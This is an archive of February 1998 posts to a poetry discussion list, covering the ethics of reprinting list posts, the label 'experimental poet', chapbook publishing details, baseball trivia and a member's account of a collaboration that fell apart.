>>
>>To: [redacted]
>>
>>I suppose the term "listserv" might convey some sense of mastery, but . . .
>>
>>
>>a bit of "creative" appropriation might have been considerably more
>>interesting -- but, call me old fashioned and orthodox, I am of the opinion
>>that reprinting people's email posts with no notification fits poorly with
>>the pose adopted ("how firmly fastened are your walls" etc.) -- Isn't this
>>the same person who criticized people for speaking of Tom Clark outside his
>>presence????
>>
>>No, forgive us, Oh Dale, for having thought to converse with you openly
>>and, we thought, honestly.

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431. **James Finnegan**
Re: leopardi
Wed 11 Feb 1998

In a message dated 98-02-11 04:45:29 EST, you write:

<< CAN ANYBODY SUGGEST A GOOD TRANSLATION EDITION OF GIACOMO
>> LEOPARDI? >>
Eamon Grennan translated a selection Leopardi's poems--
published last year by Princeton U. Press.

Finnegan

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432. **Gwyn McVay**
Re: Missing persons
Wed 11 Feb 1998

Mais Pierre, it would seem completely appropriate to name any cat "Claude" (or D. Claude, if you support that practice), much as the shaven sheep from "Wallace and Gromit" is named "Shaun."

> *Isn't pierre joris's cat named after Pelieu? chris*

> *Claude?-- No that was Dorn's horse's first name.*
> --

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433. **pritchpa**
Re: in queue
Wed 11 Feb 1998

I concur. Henry's heteronymic prolixity was at least one reason the list has been so all-fired hot these past few weeks. Wasn't it just a month ago people were complaining about how dull it was? As for those who choose not to post, let them croak undisturbed in the swamp.
Patrick Pritchett

From: Miekal And
To: [redacted]
Subject: in queue
Date: Tuesday, February 10, 1998 4:26PM

I dont have ron's email infront a me anymore, but Ive a different desire with this list, with spending time with the energetic presence different voices project outward here. so Im thanksful for a rush of henry spandrift blarnesian cracker-box collectibles, I relish it when there's a stepping forward to say what you gotta say. & I dont believe that the 50 a day limit is throttling any voice that wants to pump it up, as all messages go in queue, & theoretically we could get a very interesting poetics list timewarp going, if we were all now reading & responding to messages from 3 days or 3 weeks or 3 years ago, does it really matter....

miekal

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434. **shemurph**
Re: ocratic meditation
Wed 11 Feb 1998

RE: Tenney's Question about -ocracy
(12-part collaboration by Peter Ganick and myself:

Thanks for asking, Tenney! I'm looking forward to your reading in Tucson on the 18th at 8:00 p.m. (anyone on the list in the area, don't miss it!)

While -ocracy is not on the net, it IS available in three separate chapbooks:

parts 1 - 4 published by Texture Chapbook Series: 36
ISSN 1063-1895

3760 Cedar Ridge Drive
Norman Oklahoma 73072
(1997)
$6.00

parts 5 - 7 published by Runaway Spoon Press
1708 Hayworth
Port Charlotte, FL 33952
Port Charlotte, FL
$5.00

parts 8 - 9 - published by Nominative Press Collective
PO Box 522402
Salt Lake City, Utah 84152-2402
$5.00

These are available through me, also, if you prefer.

Sheila Murphy
3701 E. Monterosa #3
Phoenix, AZ 85018-4848
[redacted]
ISBN 1-57141-050-3

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435. **Robert Hale**
GANG OF FOUR
Wed 11 Feb 1998

All this talk about the various associations of the word for the number 4 in East Asian languages has led me to ask (of any Chinese historians/linguists out there): was the name "Gang of Four" intended to mean something in addition to the four Chinese accused of various crimes and conspiracies against Mao during the Cultural Revolution?

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436. **rsillima**
Why I'm not an experimental poet
Wed 11 Feb 1998

Reading Crayon's festschrift for Jackson Mac Low of late (a really great job in every department), I was intrigued at Mordecai Mac Low's discussion of his father's work as an instance of scientific methodology in process, since Mordecai is in particular position to know whereof he speaks on this topic.

I still feel profoundly uncomfortable with the idea of the "experimental" tho, what with its sense that "this may not work" and the "trial and error" sense of process. But today I've discovered a deeper reason why I'm not an experimental poet.

West Chester University's 4th annual summer writers conference (June 10-13) focuses this year on "Exploring Form & Narrative" and offers a workshop on "Experimental Forms" taught by...Dana Gioia.

I'm not making this up.

Some of the other sessions to be taught: Meter (Timothy Steele), Rhyme (Charles Martin), the Sonnet (RS Gwynn), French Forms (Phillis Levin) and Blank Verse (Alfred Corn). There is also an "Introduction to Form" taught by Cynthia Zarin who, as the brochure says, has work that "appears frequently in The New Yorker."

There will also be a "celebration" of the Hudson Review (Louis Simpson, Daniel Hoffman, Frederick Morgan etc) and there's a call for critical papers on the poetry of Amy Clampitt, Literary Quarterlies, Translation and "individual authors or subjects relevant to the conference theme."

More details including scholarship info at:
www.wcupa.edu_ACADEMICS\sch_cas\poetry\

Cost ranges between $250-499 for the whole shebang, which includes a picnic and dance.

Now, I'm perfectly willing to concede that one could get real value from some of the sessions (Marilyn Nelson is teaching a master class, for example), but the idea that this claustrophobic convocation on pattern represents the idea of "form" insults my intelligence as it should that of any poet born after Baudelaire and Blake. That it is being held at a state institution borders on theft of public resources.

So that is why I am not an experimental poet.

Ron Silliman

↑ Index

437. **Maria Damon**
Re: set poetics nomail
Wed 11 Feb 1998

At 2:05 AM -0500 2/11/98, Louis Cabri wrote:
>I'm always reachable backchannel. Will be off for awhile, at least til end
>of April. I'll send, via another subscriber, info on upcoming PhillyTalks
>etc.

>
>Thanks many of you for exciting discussions; good luck weathering more
>of them!
>
>By "Polish" in my last post I only meant polish (i.e. for the Turtlewax).
>I regret the line "The Trees!" if Maria felt impinged.

nah, that was pretty benign, i had it coming --md
>
>
>louis

↑ Index

438. **Maria Damon**
Re: query
Wed 11 Feb 1998

---

thanks david --how are you anyway these days?

At 12:27 PM -0500 2/10/98, David Kellogg wrote:
>Maria, you've probably got this by now, but: "The Song of the Borderguard"
>was published in _A Book of Resemblances_ and appears again in _Selected
>Poems_, ed. Robert J. Bertholf(New York: New Directions, 1993), pages 22-3.
>I don't know if the page reference changes for the revised edition of the
>Selected.
>
>Cheers,
>David
>~~~

>>appreciados. --md
>>

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439. Hilton Manfred Obenzinger
Re: 44
Wed 11 Feb 1998

The bad-boy angel sometimes named Satan (the nephew of that other Satan) is called No. 44 in Mark Twain's "Mysterious Stranger" manuscripts. Perhaps Twain was on to something. In any case, once this number is exhausted the discussion can move on to 666.

Hilton Obenzinger

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440. Safdie Joseph
Re: 44, baseball, Foucault
Wed 11 Feb 1998

> >I think Spahn was 21. He aslo is in one of the most famous baseball
> >poems, "Spahn and Sain, and two days rain." - although it might be
> >forgotten now.
>
> It is a long way from forgotten. One reads an article that mentions it
> at
> least once a year. It is certainly more often mentioned than
>
> Greater than his brother Joe,
> Dominic Dimaggio.
>
Nice, George! The first verse is not forgotten, true, but wasn't it

"Spahn and Sain and PRAY for rain"? -- the reference being, of course, to the team having little chance to win without those two on the mound? Later bastardized by the California (it figures, right?) Angels with "Tanana and Ryan and then start cryin' ". Pitchers and catchers report this weekend . . .

On another note, thanks to Katy Lederer for posting a section from Foucault's only truly valuable work for my poetics, _The Order of Things_ (but what do I know, I like Baudrillard too, even his little masterpiece of invective _Forget Foucault__). But I'd like to ask Katy (and anyone else who has ventured through the formidable prose of this work), what she thinks of the period he deals with BEFORE the dead-end of the 16th century, namely the pre-Renaissance system

of order and meaning, when things were luminous and so were their signs? For me, John Dee and Ficino and Pico (see, in another context, Don Byrd's recent post about neo-Platonism) always existed as alternatives to late 20th-century semiotics -- even though my pal Duncan McNaughton lectured me lately that nothing was ever truly lost. So for me it's Giordano Bruno, si -- Derrida, no!

Happy to be 44 years old until a couple of days ago . . .

Joe Safdie

> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

↑ Index

441. Michael Franco
mr gerrit lansing
Wed 11 Feb 1998

Dreamer of the purified fury and fabulous habit.

The Word of Mouth reading series will present a special evening at Waterston's books [Newbury at Exeter St, Boston]

GERRIT LANSING A 70th Birthday celebration

Wed. Feb 25th 1998

7pm

Free

Reading by Gerrit Lansing and readings fromthe field of his work by Joseph Torra, William Corbett, Raffael de Gruttula, Ange Mlinko, Michael Franco, Isabel Pinto Franco, Thorpe Feidt, Elie Yarden, Christopher Sawyer Laucanno, Patricia Pruitt, and other "special guests"

Any one on the list wishing to send greetings to Gerrit can do so via Email [[redacted] or on foot @ 34 Jason Street Arlingotn Ma. 02174-6409]

all best

Michael Franco/Wom.

↑ Index

442. **KENT JOHNSON**
sublimating the ridiculous
Wed 11 Feb 1998

Well, I was going to let the issue go, but since the nuclear-powered wagons of indignation have been circled, I suppose at least _one_ charge of the light brigade is in order.

But speaking of matters pertaining to the ethics of writing, let me say first that I will soon be posting some information concerning another issue that has come to my attention only this morning--one that I believe makes the controversy over Dale's failure to give list members "advance warning" look like a spit-wad fight. It's going to be very, very interesting to see what the response is here. If any, that is.

Aldon Nielsen asks:

> *1) Did Postmodern culture in fact reprint entire posts from the list? I haven't seen that issue, so don't know. This has nothing to do with calling lawyers, but if they did, they should not have.*

Aldon, I'm not sure I follow your point here. You seem to imply that printing _parts_ of posts is ethical practice, but not printing posts _in whole_--or at least that the former is more appropriate than the latter. (Up to one quarter of a post? one-third? no more than five-eighths? What about one-sentence posts? No reprinting because they can't be excerpted?) Frankly, if an editor is going to reprint my words, I'd much prefer to have them in the full context I had originally given them. Wouldn't you? Would it have been more "proper" of Dale to subjectively choose portions of the posts in question rather than to provide a full and faithful record of the discussion? How so? Truth is, I don't think you can answer this convincingly without appeal or recourse to artificially imposed restrictions of copyright on this medium, which, of course, you may sincerely think is a good idea. I don't.

I am not being nit-picky here, quibbling with a slight and peripheral aporia in your argument. I am saying that the big and unacknowledged sub-text of your opening question is that posts on this list are akin to private literary property subject to the protocols of copyright and the academic rituals of "fair use". And to that I say hogwash.

I _do_ agree with you that editors should, as a matter of personal courtesy, inform people that their posts will be printed elsewhere, or that post-authors should automatically be sent a copy of the reprint. Dale, I'm sure, will agree that he could and should have done this (though let's be clear that to his credit he reprinted every single word of every post he selected, right down to the

numbers and headers, providing a true sense of the original context of the exchange so that no one was in any way misrepresented.)

But the key point in this matter is whether or not the post-author's "permission" is required, and particularly when what is being reprinted directly pertains to the editorial policy of the editor's journal. The answer, to my mind, is an emphatic No. (nota bene: In fact, Aldon, if the matter were sufficiently interesting to them, it would be perfectly correct and appropriate for the editors of Postmodern Culture to reprint my public posts on the list regarding their journal without seeking my "permission.")

It really comes down to the greater context and background history that creates the curious sort of language game we are a part of here. And that greater context is that our discourse here is available, immediately and freely (in every sense of that word), to millions on the World Wide Web. Once we freely choose to enter it, we choose to enter an unprecedentedly collective space, one that is qualitatively different in form and dynamic from the traditional means of literary packaging and commodification. I don't want to sound arrogant about it, but we list members should really just get used to this and stop thinking that rules and protocols and "personal values" that have their origins in 17th century social and cultural relations--and which have formed the legal and ideological proprieties of print culture up to the present--apply in any feasible way to a mode of information production that has radically superseded those relations and made the ideology of authorship engendered by them something akin to the tenuous status of the Right of Estate around the time of Cromwell. (A tortuously long sentence, but for a sophisticated and elegant explanation of the development of writing as individual property see Susan Stewart's _Crimes of Writing_.)

So my point would be, absolutely and in principle, that the Buffalo Poetics list is an always/already free and public space, and when one posts something (argument or poem or mixture of the two) in such a radically democratic forum _it should be with the assumption_ that those bytes of information are free for the taking and sharing. It will undoubtedly be the case that mechanisms of capitalist legality will come to be rigidly imposed on the web too, but until then I modestly propose: If one wants to claim his or her words as private property, well, then he or she should go publish them in institutional mediums where his or her "authority" (and all the psychological security provided by that notion) is firmly guaranteed by the State.

Kent

↑ Index

443. Christopher W. Alexander
Re: ocratic meditation
Wed 11 Feb 1998

Luigi Bob Drake wrote:
> part 3 was published in potepoetzine one; available at the cybpheranthology:
>
> www.burninpress.org/va/vaintro.html

I published parts 8 & 9; there's not much
you can read from my site (one page – it's
really a teaser!), but you'll find it in the
section of in-print books:

http://choengmon.lib.utah.edu/~calexand/nonce/presswork/index.html

or you can head to the main section (URL
below) and follow the "presswrk" link. There's
some of Sheila's work in the n/formation archive
(under "previous"), issue #2; issue #1 contains
a reprint of one of Peter's chapbooks.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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444. r.drake
Re: ocratic meditation
Wed 11 Feb 1998

---

sheila--

peter ganick pub'd pt. 3 in potepoetzine #1 online; archived at:

http://www.burningpress.org/va/vaintro.html

(in case he hadnt told ya...)

lbd

> *RE: Tenney's Question about -ocracy*
> *(12-part collaboration by Peter Ganick and myself:*

> *Thanks for asking, Tenney! I'm looking forward to your reading in Tucson on the 18th at 8:00 p.m. (anyone on the list in the area, don't miss it!)*
>
> *While -ocracy is not on the net, it IS available in three separate chapbooks:*
> *...*

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445. **George Bowering**
Re: 44, baseball, Foucault
Wed 11 Feb 1998

Wasnt it Foucault, who published in _Transition_, his poem, "These are the sad-dest of possible words? Tinker to Evers to Chance..." etc?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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446. **Maria Damon**
Re: query
Wed 11 Feb 1998

---

oops, meant to back-channel, and here i am wasting one of my 5 daily msgs on an apology for another one of the 5.--md

At 11:27 AM -0600 2/11/98, Maria Damon wrote:
>thanks david --how are you anyway these days?
>
>At 12:27 PM -0500 2/10/98, David Kellogg wrote:
>>Maria, you've probably got this by now, but: "The Song of the Borderguard"
>>was published in _A Book of Resemblances_ and appears again in _Selected
>>Poems_, ed. Robert J. Bertholf(New York: New Directions, 1993), pages 22-
3.
>>I don't know if the page reference changes for the revised edition of the
>>Selected.
>>
>>Cheers,
>>David
>>~~~

>>David Kellogg Duke University
>>[redacted] Program in Writing and Rhetoric
>>[redacted] Durham, NC 27708
>>FAX [redacted] http://www.duke.edu/~kellogg/
>>-----Original Message-----
>>From: Maria Damon <[redacted]>
>>To: [redacted] <[redacted]>
>>Date: Monday, February 09, 1998 2:37 PM
>>Subject: query
>>
>>
>>>i'm far from my library alas, and from good bookstores. can anyone quick
>>>give me a citation for robt duncan's "song of the borderguard"? muchos
>>>appreciados. --md
>>>

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447. **pritchpa**
Re: Sex Objects (late reply)
Wed 11 Feb 1998

Kent - I'm just as thrilled as you are to be at loggerheads!

I like your image of "primal glossalalia" (possibly redundant?) - though I don't see it that way. Breton's litany, as I said before, has to me a somewhat mechanical feel to it. My point about "agency" is that a "good" love poem ought to make room for that in some way. It's not obligated to, as you point out, but I think it will suffer as a result, be less than what it could.

As for whether or not sex is essential or constructed, I would say that all the colorful examples you use to support your claim for it as being essential really support mine! (how's that for jiu-jitsu eh?) The repertory of gestures you cite comprises a language, a basic grammar of sex, a set of signs which even most animals evidently must employ in order to commence passion. In humans, certainly, the highly stylized vocabulary by which we express and enact the rites of love confers on that enactment a greater degree of passion and gravity.

Having said that, I'm in danger of doing a double jiu-jitsu on myself, since you could argue that this is just what Breton is doing in his poem - performing an erotic incantation, calling the whole into being through a fetishistic invocation of parts. I refer once again to De Beauvoir's highly useful chapter on Breton's vision of woman in _Second Sex_. According to her, Breton conflates woman with both nature and poetry - she is the "mediatress," and "the key" - to the world, to revelation. Breton's idealisation does not address whether love

performs the same service for women. "Woman interests him only because she is a privileged voice." But this investing of woman as privileged object by Breton also has the effect of robbing her of privilege. Which leads us back to your and Tom Mandel's earlier remarks about the ineluctable "objectification" of the Other.

Riverrun, past Steve and Eydie's...
Patrick Pritchett

From: KENT JOHNSON
To: [redacted]
Subject: Sex Objects
Date: Monday, February 09, 1998 3:41PM

It's nice to finally find something to disagree on with Mark P and Pat P. But guys, I just don't see Breton's poem as sexist in any way. That the addressee has no "agency" does not seem a good argument: Should everyone in a poem have "agency"? And besides, I don't see Breton as having much macho agency in this poem at all--why, he's reduced to a kind of primal glossolalia, the femme doing jiu-jitsu flips on the poor man's capacity to think "like a man" and bring her under the power and control of his reason.

It may be that you're right, Pat, that sexual expression is predominantly a cultural construction, but I don't think so. Each culture has its own rituals and oddities to be sure, but in sex, at bottom (though here I want to say that I don't consider myself an expert, because I've only had sex once--when I was nineteen), all cultures exhibit _animal_ behavior. I don't mean "animal" like when one gets excited and just goes crazy-- I mean in the sense of ritualistically objectifying the other, of focusing on the desired one without giving a hoot for his or her "agency"; I mean fixating on body parts, and showing the other your own "parts", whether the showing be a blue, bulging throat, a crimson rump shoved into the air, or a love poem full of surrealist images.

Kent

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448. **David Zauhar**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

> *West Chester University's 4th annual summer writers conference (June 10-13) focuses this year on "Exploring Form & Narrative" and offers a workshop on "Experimental Forms" taught by...Dana Gioia.*

> *I'm not making this up.*

This will be the literary equivalent of "How To Catch a Roadrunner" taught by Wile E. Coyote.

Dave Zauhar

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449. **sylvester pollet**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

> *So that is why I am not an experimental poet.*
>
> *Ron Silliman*

I second that. To me, it always sounded like someone who was experimenting at being a poet. Sylvester

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450. **Charles Bernstein**
Reprinting material posted to Poetics
Wed 11 Feb 1998

My own sense of this issue is stated in the welcome message and underscored by recent posts on the matter by Aldon, Kali, and Matt. I should note that David Caplan, the author of the PMC article, did contact me, twice, even though the quotations he was using were authorized by fair use (he didn't need my permission or anyone else's for anything quoted in his article). Writers have the right to quote from excerpts of published material in the course of a discussion of that material and you don't need to get permission to do that (and that accounts for citations of the list in the footnotes to a number of articles: quoting from the list is no different than quoting from a printed source in that respect). Printing a work in its entirety is another matter.

I can't tell if this is terrifically dull or interesting in some way ... But so much these days strikes me like that.

By the way, here is the information on that PMC essay:
"Who's Zoomin' Who?: The Poetics of www.poets.org and writing.upenn.edu/epc"
by David Caplan
http://jefferson.village.Virginia.EDU/pmc/issue.997/review-7.997.html

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451. **Steve Tills**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

Yes, "experimental" takes sad thumping there, again. "Poetry," perhaps worn out anyway, doesn't fare well, either. There may not be alternative terms... Circumventing, or out and out dismantling, the advertizing game altogether? What's been done in other cultural situations when similar co-opting has rendered terms meaningless or otherwise degraded them? "Scientific Creationism" is an example of the degradation of "science" that James Eldredge ("Creationism isn't science") and others have had to struggle with; the term and movement threatened, among other things, science education in the schools. (Of course, "poetry" has already been ruined "in the schools"... "Literature," "multi-culturalism," even "English" anymore, generally.)

Personally, smile, I believe you are most definitely "an experimental poet," by the way, and Plaina Joyless, obviously, most definitely is Not "an experimental poet" anymore than Pat Robertson is a "scientist." But I'm flirting with the issue.

Hmm, just reading some Nancy Chodorow (Feminism and Psychoanalytic Theory--by the way, Freudians and "anti"freudians on the list, Chodorow has got a bit to say about Freud and Lacan one won't find in dull and thin texts). Anyway, come across the term "orthodox," as in orthodox psychoanalysis, but also, orthodox buddhist, orthodox jew, orthodox whatevers. Perhaps start a longterm campaign referring to academic and mainstream poetries as "orthodox poetries"? Ah, just skirting the issues again. Steve Tills

[redacted] wrote:

> *Reading Crayon's festschrift for Jackson Mac Low of late (a really great job in every department), I was intrigued at Mordecai Mac Low's discussion of his father's work as an instance of scientific methodology in process, since Mordecai is in particular position to know whereof he speaks on this topic.*
>
> *I still feel profoundly uncomfortable with the idea of the "experimental" tho, what with its sense that "this may not work" and the "trial and error" sense of process. But today I've discovered a deeper reason why I'm not an experimental poet.*
>
> *West Chester University's 4th annual summer writers conference (June 10-13) focuses this year on "Exploring Form & Narrative" and offers a workshop on "Experimental Forms" taught by...Dana Gioia.*
>
> *I'm not making this up.*
>
> *Some of the other sessions to be taught: Meter (Timothy Steele), Rhyme*

> *(Charles Martin), the Sonnet (RS Gwynn), French Forms (Phillis Levin) and Blank Verse (Alfred Corn). There is also an "Introduction to Form" taught by Cynthia Zarin who, as the brochure says, has work that "appears frequently in The New Yorker."*
>
> *There will also be a "celebration" of the Hudson Review (Louis Simpson, Daniel Hoffman, Frederick Morgan etc) and there's a call for critical papers on the poetry of Amy Clampitt, Literary Quarterlies, Translation and "individual authors or subjects relevant to the conference theme."*
>
> *More details including scholarship info at: www.wcupa.edu_ACADEMICS\sch_cas\poetry*
>
> *Cost ranges between $250-499 for the whole shebang, which includes a picnic and dance.*
>
> *Now, I'm perfectly willing to concede that one could get real value from some of the sessions (Marilyn Nelson is teaching a master class, for example), but the idea that this claustrophobic convocation on pattern represents the idea of "form" insults my intelligence as it should that of any poet born after Baudelaire and Blake. That it is being held at a state institution borders on theft of public resources.*
>
> *So that is why I am not an experimental poet.*
>
> *Ron Silliman*

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452. **David Israel**

them boots

Wed 11 Feb 1998

---

found poetry?

```
|  Twice Around the World
|
|  There used to be this old saying
|     that the lie can be halfway
|  around the world before the truth
|              gets its boots on
|
|  Well today the lie can be
|     twice around the world
|  before the truth gets out of bed
|              to find its boots
```

d.i.

<< Wednesday February 11 1:46 PM EST

WASHINGTON (Reuters) - Hillary Rodham Clinton said in a meeting with reporters Wednesday that "we are all going to have to rethink how we deal with" the Internet because of the handling of White House sex scandal stories on Web sites.

In an otherwise low-key question and answer session, Mrs. Clinton was at her most intense when asked whether she favored curbs on the Internet, which has been accused of disseminating rumor and gossip to the news being reported.

"We are all going to have to rethink how we deal with this, because there are all these competing values ... Without any kind of editing function or gatekeeping function, what does it mean to have the right to defend your reputation?," she said.

"There used to be this old saying that the lie can be halfway around the world before the truth gets its boots on," Mrs. Clinton added. "Well, today, the lie can be twice around the world before the truth gets out of bed to find its boots."
>>

http://www.yahoo.com/headlines/980211/wired/stories/clinton_1.html

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453. Miekal And
Why I'm an experimental poet
Wed 11 Feb 1998

---

after having a shitty day debugging somebodies' netscape problems it a real cheer to come home & seeing everybody throwing "experimental" on the passe terminologly of 20th century scrapheap. Ive been discribing my work as experimental as opposed to sound/text/sound, intermedia, multimedia, interdiscinplinary etc etc since very young, and being one whose spleen be to never do the same thing twice, find many perks in the ambiguity of the designation experimental or experimedia, thinking of mad science in the way that tentitively, a convenience has brought life & performance & text & neoism into the realm of scientific --inquiry.

involve everyday in the play of children

orchids & rocks

Harry Kemp

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454. **Jack Spandrift**
Re: 44
Wed 11 Feb 1998

Prejsnar, name that blues song:

"got me a 44..." [this is a query]

- Spandrift

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455. **David Kellogg**
Re: query
Wed 11 Feb 1998

I'm OK, better than I was feeling at Minnesota, that's for sure. Looks like I'll be staying at Duke for another year. Did I tell you the story of my rejection from Villanova? I was "too identified with cultural studies." Jesus. But my writing is actually going pretty well; I'm focused -- it's time to fish or cut bait, as Olson once said. Would you care to see the draft opening chapter of my book? (Maybe that's too much to read right now.)

Cheers,
David
~~~
~~~

The results often stink on either end, and there are University departments eager to vacuum the mess on both sides. What little there is of worth coming out of all this poetry is probably an accumulation of a life's attention to both language and the environment of the poet. A prophet like Blake is rare and offers less of an experimental gesture than a blunt hammer slammed on the anvil. His example makes puddles of the extremes poetry today offers on the left or the right. It's not so much an experiment as being charged with a daring to step into unknown, and hence, unexplored regions. But Blake didn't 'experiment' or play with language so much as execute it in such a way that it conveyed the depth of his emotionally active intelligence.

Still, that neo formal stuff seems like it would have some possibility, in that it worked for Keats et al. Just as, I suppose, at one time it was very liberating to create poem out of random words spilled to the floor (the way you can do it on a refrigerator now - magnetically). Both sides seem to have lost something though. What Blake was after is probably unimagininable to practitioners of today's poetic cousins.

To: [redacted]

Reading Crayon's festschrift for Jackson Mac Low of late (a really great job in every department), I was intrigued at Mordecai Mac Low's discussion of his father's work as an instance of scientific methodology in process, since Mordecai is in particular position to know whereof he speaks on this topic.

I still feel profoundly uncomfortable with the idea of the "experimental" tho, what with its sense that "this may not work" and the "trial and error" sense of process. But today I've discovered a deeper reason why I'm not an experimental poet.

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I'm not making this up.

Some of the other sessions to be taught: Meter (Timothy Steele), Rhyme (Charles Martin), the Sonnet (RS Gwynn), French Forms (Phillis Levin) and Blank Verse (Alfred Corn). There is also an "Introduction to Form" taught by Cynthia Zarin who, as the brochure says, has work that "appears frequently in The New Yorker."

There will also be a "celebration" of the Hudson Review (Louis Simpson, Daniel Hoffman, Frederick Morgan etc) and there's a call for critical papers on the poetry of Amy Clampitt, Literary Quarterlies, Translation and "individual authors or subjects relevant to the conference theme."

More details including scholarship info at:
www.wcupa.edu_ACADEMICS\sch_cas\poetry\

Cost ranges between $250-499 for the whole shebang, which includes a picnic and dance.

Now, I'm perfectly willing to concede that one could get real value from some of the sessions (Marilyn Nelson is teaching a master class, for example), but the idea that this claustrophobic convocation on pattern represents the idea of "form" insults my intelligence as it should that of any poet born after Baudelaire and Blake. That it is being held at a state institution borders on theft of public resources.

So that is why I am not an experimental poet.

Ron Silliman

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457. John Tranter
Jacket, again
Wed 11 Feb 1998

Something happened to the Poetics List digest for 8 to 9 February making it unreadable on my computer. It contained the following announcement, which I hope listmembers won't mind if I re-post, in case others missed it too. JT ========== Announcement - current February 1998 - Jacket # 2 is complete.

Jacket magazine - free, fast-loading, international, full of stylish writing - on the Internet, at

http://www.jacket.zip.com.au

Jacket # 2 is now complete.
It focuses mainly on the work of JOHN ASHBERY -

John Ashbery : two interviews (1985 and 1988), and a new Ashbery poem / Marjorie Perloff on "Normalizing John Ashbery" / John Tranter : 3 John Ashberys / Eliot Weinberger on James Laughlin (1914-1997) / David Lehman - more on the Ern Malley hoax / Bob Perelman's "The Marginalization of Poetry" discussed by Silliman, Lauterbach, Spahr, Evans and Kate Lilley... and Bob Perelman! / poems by Peter Riley, Lee Ann Brown, John Kinsella, Eileen Myles, August Kleinzahler, Jennifer Moxley, Robert Adamson, Forrest Gander, Tim Davis, Michael Heller, Denis Gallagher / Eliot Weinberger - Letter from New York: "Vomit" / and other poems and articles.

In November 1997, Jacket was the featured Internet site on the Electronic Poetry Center at the State University of New York at Buffalo. The EPC is a leading experimental poetry site.

In December 1997, Jacket was among the top recommended sites on Web Del Sol, a major literary arts Internet conglomerate site in the US.

In December 1997, Jacket won the "Best of the Web" award from the Poetry Mining Company, an Internet site in New York.

The first issue of Jacket contains interviews with English poet Roy Fisher and Australian aboriginal poet Lionel Fogarty, a piece on cyber-poetry in the age of the Internet, a look at the 1943 hoax poet Ern Malley (including rare childhood photos!) , work by Charles Bernstein, Elaine Equi, Pamela Brown, Alfred Corn, Joanne Burns, Tracy Ryan, Carl Rakosi, Beth Spencer, Peter Minter, Susan Schultz and Paul Hoover, together with reviews, other prose and poetry pieces and plentiful photos and art work. Jacket # 1 was complete in October 1997.

Jacket # 3 is being uploaded as we speak, and will be complete in late April 1998. It already contains poems by Joel Lewis, Michele Leggott, Kris Hemensley, Peter Gizzi, Hans Magnus Enzensberger, Tom Clark and Johanna Drucker, and a review of Charles Nicholl's enlightening biography "Somebody Else - Rimbaud in Africa".

Issue # 3 is dedicated to the memory of the Australian poet JOHN FORBES, who died unexpectedly on 23 January at the age of 47 at his home in Melbourne. It contains a poem by him ("Speed: A Pastoral"), and poems by some of his friends.

Jacket is free, and (thus) is at present unable to pay contributors. Also, I don't have the time yet to deal with unsolicited submissions. Sorry.

Jacket editor John Tranter's e-mail address is

[redacted]

Please tell your friends about Jacket, whose motto is

"bop till you drop!"

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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458. **James Finnegan**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

In a message dated 98-02-11 16:07:13 EST, Ron Silliman wrote:

<< Now, I'm perfectly willing to concede that one could get real value from some of the sessions (Marilyn Nelson is teaching a master class, for example), but the idea that this claustrophobic convocation on pattern represents the idea of "form" insults my intelligence as it should that of any poet born after Baudelaire and Blake. >>

Ron, I think understand the irritation behind your remarks, but is it necessary for those who've exploded the borders of poetry to cavil at those who want to implode poetic space? Aren't there infinite possibilities in both directions? (To paraphrase Niels Bohr, the language of the inside of the atom is the language poetry.) It's not a conference that appeals to me particularily, but I don't think any one contingent/movement (not language writing, & certainly not the new formalism) has cornered the market on innovation--not yet anyway.

Finnegan

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459. **Simon/Piombino**
Re: 44 Freud
Wed 11 Feb 1998

Hi Ron,

This has to be short because it is very close to dinner time and I don't want to wait to send this.

Sorry to hear about your pneumonia- Miekel's advice sounds very good- especially the rest. (By the way, Miekel,I hope Liz Was is feeling better too!)

I appreciated your post on Freudian analysis, though I must confess to racing through or missing some of the other posts on this topic. I especially enjoyed what you said about Professor Crews, whose articles in the New York Review of Books were recently thrown out by me, with some regret, because they were in the class of "I must respond to this in some way."

What you said about it being good that psychoanalysis is taught at private institutes is true, I guess. I am a graduate of one such place, the Postgraduate Center, in NYC. I guess I consider myself a post Freudian analyst, as most analysts I'm sure would say. I am very interested in hearing more about the reputation of psychoanalysis among poets.

Best wishes,
Nick

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460. KENT JOHNSON
A personal appeal
Wed 11 Feb 1998

I had mentioned in my previous message that I would be posting information about an issue that had recently come to my attention. I hereby give Postmodern Culture, Lingua Franca, The Chronicle of Higher Education, Mike and Dale's Younger Poets, and anyone who would like, permission to reprint this message and to do so without first consulting me.

In the past months I have been engaged in correspondence with one of the world's most prominent visual poets (as well as theoreticians of visual poetics). This poet is Latin American and is fairly out of touch with recent developments in the "non-visual" poetry scene in the U.S. This poet had enthusiastically agreed to collaborate with me in the editing of an anthology of Latin American visual poetries from Noigandres on, including essential theoretical works, and we had begun to discuss this in some detail, including plans for my visiting him in South America for a long stay during my sabbatical this year. My sabbatical is due to be approved (a formality) next week by the board of trustees of my college. My application is completely based on a description of the above project, for which there has been considerable enthusiasm and support here.

Two days ago I received a long letter from the poet I have mentioned telling me that he was greatly looking forward to undertaking this project, that he was organizing his "complete" archives of Latin American visual poetry, and assuring me that what would be produced would be a document of the first power.

This morning I received a letter from this poet and it said (I gloss and paraphrase) the following:

"My dear friend Kent: I find myself in an extremely uncomfortable position. I have received various communications from close friends in the United States who strongly question my relationship with you. These are people to whom I owe my loyalty since some of them helped secure my release from prison under the junta and have helped my work in many ways..... I feel it is important for you to settle your situation with those circles of the American critcal community which seem so antagonistic toward you. I hope you will be able to overcome this unfortunate situation and that we might be able to reestablish our collaboration."

